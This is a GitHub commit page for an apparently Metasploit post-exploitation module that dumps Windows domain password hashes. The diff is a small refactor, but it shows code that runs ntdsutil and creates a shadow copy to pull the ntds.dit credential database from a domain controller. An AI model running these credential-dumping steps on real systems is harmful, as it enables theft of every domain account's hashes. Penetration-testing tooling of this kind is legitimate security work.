Skip to content

Commit fd1a24d

Browse files
David MaloneyDavid Maloney
authored andcommitted
some more minor cleanup noise
apparently we standardized on using get_env instead of expand_path in these cases. Not sure on the effective difference here but no big deal MSP-12358
1 parent 631dfc0 commit fd1a24d

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -73,11 +73,11 @@ def domain_name
7373
end
7474

7575
def is_domain_controller?
76-
session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit')
76+
file_exist?('%SystemDrive%\Windows\ntds\ntds.dit')
7777
end
7878

7979
def ntdsutil_method
80-
tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
80+
tmp_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
8181
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
8282
result = cmd_exec("ntdsutil.exe", command_arguments,90)
8383
if result.include? "IFM media created successfully"
@@ -143,11 +143,11 @@ def session_compat?
143143
end
144144

145145
def vss_method
146-
id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\")
146+
id = create_shadowcopy("#{get_env("%SystemDrive%")}\\")
147147
print_status "Getting Details of ShadowCopy #{id}"
148148
sc_details = get_sc_details(id)
149149
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
150-
target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
150+
target_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
151151
print_status "Moving ntds.dit to #{target_path}"
152152
move_file(sc_path, target_path)
153153
target_path

0 commit comments

Comments
 (0)